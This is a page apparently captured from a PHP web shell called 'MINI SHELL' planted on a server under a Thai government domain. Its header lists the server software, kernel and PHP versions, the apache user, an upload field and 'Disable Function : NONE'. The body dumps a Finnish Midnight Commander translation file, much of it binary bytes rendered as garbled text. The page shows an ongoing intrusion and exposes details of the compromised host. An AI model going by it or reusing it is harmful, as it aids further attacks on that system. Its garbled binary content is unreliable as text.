MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory : /usr/share/locale/fi/LC_MESSAGES/
Upload File :
Current File : //usr/share/locale/fi/LC_MESSAGES/mc.mo
Þ•@
¯Ø Ùú';CP^¯:Ë?F[t$&²(Ù+1.`!~ f¶8Q&i#®Ò#æ
$=	MWi‘¨
·ÂÉSÝ1 D M 	\ f u |  œ  Gº !!
,!&:!.a!!«!;Á!ý!%"A"Q"b"$i"
Ž"™"¢"Á"Ñ"Ý"
ê"ø"K	#U#k#r##”#¡#´#»#Â#@É#	
$$!$-$:$K$a$	$‹$
›$	¦$°$½$É$Ö$â$ë$'%,%4%G%N%U%b%|%…%Ÿ%¾%Â%'Ü%&
&(&4&@&(^&+‡&³&Å&Õ&è&'ý&%'
8'C'
c'q'	v'€'‰'–'¬'
Ä'Ï'å'ö'þ'(*(3(I(f(
ƒ(Ž(ž(»(
Ë(Ù(÷(ý())
 )+)2)B)_)u))Ž)¤)ª)À)Ö)Ú)Þ)å)û)*,*5*K*S*k*t*
Š*˜*®*³*
¹*Ä*Ê*ç*í*	ú*++	0+:+@+O+a+f+ƒ+ +§+·+Æ+Ø+î+ó+,,
$,2,9,
Q,_,g,~,ƒ,™,¯,Æ,Í,ê,ù,---3-S-
g-r-…-Ÿ-¶-Ò-×-ô-.

..
.(.E.	b.
l.z.‡.Œ.‘.–.›. .¯.².
¸.	Ã.
Í.Ø.ì.ó.ü./
///$/0/
6/A/F/\/c/y/‚/
Ž/™/ž/
»/Æ/
Î/Ü/ô/
	0010/G0w0ˆ0œ0¡0©0	Á0Ë0á0ö011111J1b1z1™1Ÿ1¥1«1
¾1Ì1
Û1é1ö122&2
?2J2b2t2ƒ2“2N¢2%ñ34'.4	V4`4Av4¸4?Ð4L5$]5‚5Ÿ50¼5+í5-60G6Cx6$¼6*á67‹,7¸7!×7&ù7- 8&N8'u8"8-À8&î8919	A9K9]9r9…99©9±9º9PÐ9!:9:A:P:
Y:	g:q:‹:¨:¾:TÏ:$;;;P;%];2ƒ;¶;Ñ;>ì;!+<"M<p<€<
<6›<Ò<
á<ì<
==
/===N=J]=¨=Â=Ë=æ=
î=ü=>>&>:->
h>s>„>
>›>¶>#Ó>÷>
??!?4?G?[?
l?	z?„?+›?Ç?Ó?í?
ô?ÿ?@.@-4@b@}@ Œ@2@#à@AA%A*6A)aA*‹A¶AÉAÝAòA5
B @BaBnBŽBžB
¦B±B	ºBÄBÛB
ðBûBC&C/CEC[CdCzC—C´C»CÎCîC
DD.D4D;DRDXDeDrD‡D¤D½DÎDÚDðDöDE"E&E*E1EGEdEzE‚E˜EŸEµEÁE×EêEFF

FFF<FEF]FmFƒF™F	¨F²FÆF×FÞFüF
G$G7GMGgG}G
…GG G¬G¿GÇG
ãGñGùGHH3HMH`HfHƒH›H²HºHÀH<ÆHII&I+>IjI!„I¦I¬IÉIâIèIôI
ùIJ!J
>JLJaJnJuJ{J‚J	‡J‘J¡J¨J±J	ÀJÊJÓJ	êJôJKK&K-K6KCKSKZKpKyK’K—K
K
»KÉKÚKßK	üK
LL#LCLUL iLŠL1žLÐLäL÷LþLM
!M,MEM WMxMMžM´MÉMãM'üM$N*N/N8N
INWNcNtNƒN’N—N°N
ÉNÔN	ëNõNOO
aÇ\+§ÛhQÜº¶à@*®S²?ÊÖ»úTÑµBÙå2KÏÉ)9ÿïäJé>oü
ÝEýÎ4A‘¹ %ž©C7=V-Òm†æâÔ¨lö‡
'Zábù› .¾8ãŽ	'$6ñ0:(s	68v@Œè¤WR|#Ë7•M:1#G¥4Õ&P^ªîí¡H5õÌgŸyðf¯ û~+3¢`"}š<´c«¦·’Ø&u
k[U]53,_¼Å1jÈ…Ó˜‰±9.N%ó£ç(¬œI-—ô>ÂYex!d";=?×$“p¿;qÄÁ€/ø”–Ð³„Æ<i°FìÃŠDò{Ú÷Í‹z,rëwƒ/X¸t½0)nßþ!ˆ2‚™*ÞÀêLO  Malformed regular expression   %ld replacements made.  A file already exists with this name.  About  Background process error  Background process sent us a request for more arguments 
 than we can handle. 
 Background protocol error  Block is large, you may not be able to undo this action.  Both panels should be in the listing mode to use this command  Cannot chdir to %s  Cannot chmod "%s" 
 %s  Cannot chown "%s" 
 %s  Cannot chown target file "%s" 
 %s  Cannot create special file "%s" 
 %s  Cannot create target symlink "%s" 
 %s  Cannot create temporary command file 
 %s  Cannot execute commands on non-local filesystems Cannot execute sort command  Cannot fetch a local copy of %s  Cannot insert file.  Cannot make stable symlinks across non-local filesystems: 

 Option Stable Symlinks will be disabled  Cannot make the hardlink  Cannot open macro file  Cannot open temp file  Cannot overwrite directory "%s" 
 %s  Cannot overwrite macro file  Cannot read source link "%s" 
 %s  Cannot save file.  Cannot stat source file "%s" 
 %s  Child died unexpectedly  Chown advanced command  Chown command  Command  Command history  Compare directories  Confirm replace  Confirm save file? :  Confirmation  Copies to Copy  Copy to clipboard  Current text was modified without a file save. 
 Continue discards these changes.  Cut to clipboard  Delete  Delete macro  Delete:  Display bits  Edit  Edit Save Mode  Edit symlink  Editor options  Emacs key:  Enter device (without /dev/) to undelete
   files on: (F1 for details) Enter directory name: Enter file name:  Enter line:  Enter machine name (F1 for details):  Enter replacement argument order eg. 3,2,1,4  Enter replacement string: Enter search string: Enter sort options (see manpage) separated by whitespace:  Error in file %s on line %d  Error in replacement format string.  Execute Macro  FTP to machine  File  File was modified, Save with exit?  Filename: Filter  Filter command and arguments: Filtered view  Goto line  Group name  Insert File  Insert Literal  Invalid regular expression, or scanf expression with too many conversions  Invalid target mask  Link  Link to a remote machine  Load  Load macro  Load syntax file  Mail  Move  Name  Not an xterm or Linux console; 
 the panels cannot be toggled.  Options  Owner name  Parameter  Permission  Press any key:  Press macro hotkey:  Press the macro's new hotkey:  Replace  Replace with:  Run Sort  Save As  Save Block  Save file  Save macro  Sear/Repl  Select  Select compare method:  Set expression for filtering filenames Setup  Setup saved to ~/ Size  Sort  Sort block  Sort returned non-zero:  Subject Symlink `%s' points to:  The command history is empty  To Unable to save to file.  Undelete files on an ext2 file system  Unknown error in child  Unselect  User name  View file  Virtual File System Setting  Which extension file you want to edit?  You must first highlight a block of text.  confirm &Delete  confirm &Exit  confirm e&Xecute  confirm o&Verwrite  edit symlink, unable to remove %s: %s  edit symlink: %s  link: %s  mail -s <subject> -c <cc> <to> symlink: %s  to:%6d of %d%s bytes&Access time&Always use ftp proxy&Backspace through tabs&Backwards&Beginning     C-PgUp&Brief file list&Cancel&Copy              F5&Delete            F8&Dismiss&End           C-PgDn&Execute macro...   C-a, KEY&Execute macro... C-x e, KEY&Extension&Fake half tabs&Finish record macro...  C-r&Full file list&General...  &Go to line...            M-l&Home&Inode&Insert file...   F15&Kill&Layout...&Local&Long file list&Mail...                    &Mark Columns    S-F3&Marked all&Modify time&Move              F6&Name&New              C-n&New            C-x k&No&OK&Quick&Quit             F10&Refresh screen          C-l&Regular expression&Replace&Replace...        F4&Resume&Return does autoindent&Reverse&Save              F2&Save mode...&Search...         F7&Set&Size&Size only&Skip&Start record macro      C-r&Stop&System Wide&Thorough&Toggle Mark       F3&Undo             C-u&Unsorted&User&User defined:&Whole words only&Yes'ispell' s&pell check    C-p'ispell' s&pell check    M-$7 bits<Unknown group><Unknown user><readlink failed>A&bout...            A&llBackground JobsBackground process:C&Hange timeC&lear markedCancelCannot change directoryChmod commandCommandConfir&m before savingCopyCopy to &file...     Copy to &file...  C-fCreate a new DirectoryDeleteDelete macr&o...            Do backups -->Dynamic paragraphingEditEmacsErrorExisting filename (filename symlink will point to):Extension file editExtension:F&ull 8 bits inputFiles tagged, want to cd?Fill tabs with &spacesFind rejects after patchingFlagFormat p&aragraph        M-pFull 8 bits outputGroupGroup nameHelpISO 8859-1Insert &date/time           Insert &literal...       C-qIntuitiveKey emulationListing modeMarkModeMoveNameNoneOffset 0x%08lxOnOwnerOwner namePassword:PermissionPermissions (Octal)PullDnQuick cdQuick save QuitReplacRescanRunning S&et markedS&kipSafe save SaveSave &as...       F12SearchSearch &again     F17Set &allSet &groupsSet &usersSizeSor&t...                 M-tSort orderStoppedSymbolic linkSymbolic link filename:Synta&x highlightingTab spacing: Timeout for freeing VFSs:Toggle &ins/overw InsType `exit' to return to the Midnight CommanderType writer wrapUse SPACE to changeViewWarningWord wrap line length: Wrap modean option, ARROW KEYSand T or INS to markcase &Sensitivecase sensi&tivecdexecute/search by groupexecute/search by othersexecute/search by ownerftp anonymous password:ftpfs directory cache timeout:groupotherownerpro&Mpt on replaceread by groupread by othersread by ownerreplace &Allscanf &Expressionsecset group ID on executionset user ID on executionsticky bitto move between optionsuser &Mini statuswrite by groupwrite by otherswrite by ownerProject-Id-Version: gmc finnish 0.01
Report-Msgid-Bugs-To: mc-devel@gnome.org
POT-Creation-Date: 2007-01-23 22:43-0500
PO-Revision-Date: 1999-08-23 17:30+0200
Last-Translator: Mikko Rauhala <mjr@iki.fi>
Language-Team: Finnish <fi@li.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8-bit
  Virheellinen säännöllinen lauseke   %ld korvausta tehty.  Tämänniminen tiedosto on jo olemassa.  Tietoja  Taustaprosessivirhe  Taustaprosessi lähetti pyynnön koskien liian montaa parametria.
 Taustaprotokollavirhe  Valinta on suuri; et ehkä kykene peruuttamaan tätä toimintoa.  Molempien paneelien tulisi olla listausnäkymässä tätä komentoa käyttääksesi Ei voitu vaihtaa hakemistoa %s:ksi  chmod "%s" epäonnistui
 %s  chown "%s" epäonnistui
 %s  Ei voitu muuttaa tiedoston "%s" omistajaa 
 %s  Ei voitu avata erityistiedostoa "%s" 
 %s  Ei voitu luoda symbolista linkkiä "%s" 
 %s  Ei voitu luoda väliaikaiskomentotiedostoa 
 %s  Ei-paikallisesta tiedostojärjestelmästä ei voi suorittaa komentoja Virhe suoritettaessa sort-komentoa  En voi noutaa paikallista kopiota %s:sta  Virhe liitettäessä tiedostoa.  Ei voida tehdä vakaita symbolisia linkkejä ei-paikallisten
 tiedostojärjestelmien välille.
 Valinta 'Vakaat symboliset linkit' ei vaikuta. Ei voitu luoda kovaa linkkiä  Virhe avattaessa makrotiedostoa  Virhe avattaessa väliaikaistiedostoa  Ei voida ylikirjoittaa hakemistoa "%s" 
 %s  Virhe kirjoitettaessa makrotiedostoa  Ei voitu lukea lähdelinkkiä "%s" 
 %s  Virhe tallennettaessa tiedostoa.  Ei saada tietoja lähdetiedostosta "%s" 
 %s  Lapsiprosessi kuoli odottamattomasti  Chown - edistynyt komento  Chown-komento  Komento  Komentohistoria  Vertaa hakemistoja  Varmista korvaus  Varmista tallennus? :  Varmistus  Kopiot Kopioi  Kopioi leikepöydälle Tekstiä on muokattu ilman tallennusta.
 Jos valitset jatka, muutokset häviävät. Leikkaa leikepöydälle  Tuhoa  Poista makro  Tuhoa:  Näytä bitit  Muokkaa  Muokkaa tallennusmoodia  Muokkaa symbolista linkkiä  Muokkaimen valinnat  Emacs-näppäin:  Anna laitetiedosto (ilman /dev/:iä) palauttaaksesi
   tiedostoja: (F1 antaa ohjeen) Anna hakemiston nimi: Anna tiedostonimi:  Anna rivi:  Anna koneen nimi (F1 antaa ohjeen):  Anna korvausparametrien järjestys, esim. 3,2,1,4  Anna korvaava merkkijono: Anna haettava merkkijono: Anna sortin valitsimet (ks. manuaalisivu) välein erotettuna:  Virhe tiedostossa %s rivillä %d  Virhe korvaavassa merkkijonossa.  Suorita makro  FTP koneeseen  Tiedosto  Tiedostoa on muutettu, tallennetaanko lopetettaessa?  Tiedostonimi: Suodatin  Suodinkomento ja parametrit: Suodatettu näkymä  Siirry riville  Ryhmän nimi  Liitä tiedosto  Lisää merkki  Virheellinen säännöllinen lauseke, tai liian monimutkainen scanf-lauseke  Virheellinen kohdemaski  Linkki  Linkki toiseen koneeseen  Lataa  Lataa makro  Lataa syntaksitiedosto  Posti  Siirrä  Nimi  Ei xterm tai Linux-konsoli; 
 paneeleita ei voi asettaa.  Valinnat  Omistajan nimi  Parametri  Oikeudet  Paina jotakin näppäintä:  Paina makron pikavalintaa:  Paina makron uutta pikanäppäintä:  Korvaa  Korvaus:  Aja sort-järjestäjä  Tallenna nimellä  Tallenna valinta  Tallenna tiedosto  Tallenna makro  Etsi/Korvaa  Valitse  Valitse vertaustapa:  Anna lauseke tiedostonimien suodattamiseen Asetukset  Asetukset tallennettu ~/ Koko  Järjestä  Järjestä valinta  Sort palautti virhearvon:  Aihe Symbolinen linkki '%s' osoittaa kohteeseen:  Komentohistoria on tyhjä  Vastaanottaja Ei voitu tallentaa tiedostoon.  Palauta tuhottuja tiedostoja ext2-järjestelmästä  Tuntematon virhe lapsiprosessissa  Poista valinta Käyttäjän nimi  Näytä tiedosto  VFS - virtuaalitiedostojärjestelmäasetus  Mitä laajennustiedostoa haluat muokata?  Sinun täytyy ensin valita lohko tekstiä.  varmista &Poisto  varmista &Lopetus  varmista &Suoritus  vamista &Ylikirjoitus  symbolisen linkin muokkaus, ei voitu poistaa %s: %s  muokkaa symbolista linkkiä: %s  linkki: %s  mail -s <subject> -c <cc> <to> sym.link.: %s  kohde:%6d %d:sta%s tavua&LukuaikaKäytä aina &ftp-proxyä&Poisto tuhoaa tabit&Takaperin&Alku          C-PgUp&Lyhyt tiedostolista&Peruuta&Kopioi            F5&Tuhoa             F8&Kuittaa&Loppu         C-PgDn&Suorita makro...   C-a, KEY&Suorita makro... C-x e, KEY&Päätevalepuolikas&Tabit&Lopeta makron nauhoitus... C-r&Täysi tiedostolista&Yleistä...  &Siirry riville...       M-l&Koti&Inode&Liitä tiedosto... F15&Tapa&Muotoilu...&Paikallinen&Pitkä tiedostolista&Postit...                  &Merkitse sarakkeet S-F3&Kaikki merkityt&Muutosaika&Siirrä            F6&Nimi&Uusi             C-n&Uusi           C-x k&Ei&OK&Nopea&Lopeta           F10&Virkistä näyttö         C-l&Säännöllinen lauseke&Korvaa&Korvaa...         F4&Jatka&Rivinvaihto sisentää&Käänteinen&Tallenna          F2&Tallennusmoodi...&Etsi...           F7&Aseta&Koko&Vain koko&Ohita&Aloita makron nauhoitus C-r&Pysäytä&Järjestelmän laajuinen&Perusteellinen&Aseta merkki      F3&Peruuta          C-u&Järjestämätön&Käyttäjä&Oma tiedostolista:&Vain koko sanat&Kyllä'is&Pell' tarkistus       C-p'is&Pell' tarkistus      M-$7-bittinen<Tuntematon ryhmä><Tuntematon käyttäjä><linkin luku epäonnistui>t&Ietoja...          K&aikkiTaustatyötTaustaprosessi:&Luontiaika&Tyhjennä merkitytPeruutaEi voitu vaihtaa hakemistoaChmod-komentoKomento&Varmista ennen tallennustaKopioi&kopioi tiedostoon... &Kopioi tiedostoon... C-fLuo uusi hakemistoTuhoapoista makr&O...            Tee varmuuskopioita -->Dynaaminen kappalejakoMuokkaaEmacsVirheOlemassaoleva tiedostonimi (johon linkki tulee osoittamaan):Laajennustiedoston muokkausPääte:Täysi &8-bittinen syöteTiedostot merkitty, vaihdetaanko hakemisto?täytä tabit &VälilyönneinEtsi hylätyt paikkauksen jäljiltäLippomuotoile &Kappale        M-pTäysi 8-bittinen tulosteRyhmäRyhmän nimiOhjeISO 8859-1lisää &Päiväys              lisää &merkki...         C-qIntuitiivinenNäppäimistöemulaatioListausmoodiMerkkiMoodiSiirräNimiEi mitäänSiirros 0x%08lxPäälläOmistajaOmistajan nimiSalasana:OikeudetOikeudet (oktaalisena)Vedä alasPikainen hakemistonvaihtoNopea tallennus LopetaKorvaaVirkistäSuoritetaan &Aseta merkityt&OhitaTurvallinen tallennusTallennatallenna &Nimellä... F12Etsietsi &Uudestaan   F17Aseta &kaikkiAseta &ryhmätAseta &käyttäjätKoko&Järjestä...             M-tJärjestysPysäytettySymbolinen linkkiSymbolisen linkin tiedostonimi:syntaks&IkorostusTabulaattoriväli : Aikaraja VFS:ien vapauttamiseen:aseta &YlikirjoitusKirjoita 'exit' palataksesi Midnight CommanderiinKirjoituskonekiertoVälilyönti muuttaaNäyttöVaroitusSanakierron rivipituus : Kieromoodivalintaa, nuolinäppäimetT/INS merkitsevätisot/pienet kirjaimet &erilaisia&Isot/pienet eroavatHakemistonvaihtosuorits/haku ryhmälläsuoritus/haku muillasuoritus/haku omistajallaanonyymi-ftp:n salasana:ftpfs:n hakemistovälimuistin aikaraja: ryhmämuutomistajakysy korvatess&aluku ryhmälläluku muillaluku omistajallakorvaa &Kaikkiscanf &Lausekesek.aseta GID suoritettaessaaseta UID suoritettaessatahmabittiliikkuvat valinnoissa,&Minitilakirjoitus ryhmälläkirjoitus muillakirjoitus omistajalla
Anon7 - 2021